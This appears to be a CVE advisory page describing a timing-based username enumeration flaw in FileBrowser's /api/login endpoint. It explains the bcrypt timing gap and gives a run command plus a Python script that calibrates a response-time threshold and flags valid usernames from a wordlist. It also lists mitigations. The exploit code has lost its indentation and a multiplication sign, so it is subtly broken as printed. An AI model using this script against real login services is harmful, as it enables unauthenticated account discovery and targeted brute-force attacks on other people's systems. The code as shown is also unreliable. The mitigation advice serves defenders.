Listen to this Post
The vulnerability in the JSONAuth.Auth function arises from a logic flaw in the authentication code. When a login request is sent to the /api/login endpoint, the function checks if the provided username exists in the database. Due to short-circuit evaluation in the conditional statement, if the username is not found (err != nil), the function returns immediately without executing the password verification. However, if the username is found (err == nil), the function proceeds to verify the password using the bcrypt hashing algorithm via users.CheckPwd. Bcrypt is intentionally slow and computationally expensive, causing a significant delay. This creates a measurable timing discrepancy: invalid usernames result in fast responses (~1ms) due to only database lookup, while valid usernames trigger bcrypt verification, leading to slower responses (~50ms or more). Attackers exploit this by sending login requests with different usernames and measuring response times. By calibrating with random usernames to establish a baseline threshold, they can identify valid usernames when the response time exceeds that threshold, enabling unauthenticated remote enumeration.
DailyCVE Form:
Platform: FileBrowser
Version: Unspecified
Vulnerability: Username Enumeration Timing
Severity: Medium
Date: Unspecified
Prediction: Patch date unknown
What Undercode Say:
Analytics:
Run the Python exploit script python3 exploit.py -u http://target.com/api/login -w wordlist.txt
Key code from calibration and attack
import requests, time, statistics, random, string
def measure_time(url, user):
start = time.perf_counter()
requests.post(url, json={"username": user, "password": "dummy"})
return time.perf_counter() - start
Calibration
times = [measure_time(url, ''.join(random.choices(string.ascii_lowercase, k=10))) for _ in range(20)]
threshold = statistics.mean(times) + 5 statistics.stdev(times) + 0.005
Attack
for user in wordlist:
if measure_time(url, user) > threshold:
print(f"Valid: {user}")
Exploit:
Attacker calibrates baseline with random usernames, then tests wordlist. Valid usernames are identified via response times exceeding threshold.
Protection from this CVE:
Implement constant-time authentication logic, use dummy bcrypt comparisons for invalid usernames, add rate limiting.
Impact:
Unauthenticated username enumeration enabling targeted brute-force attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
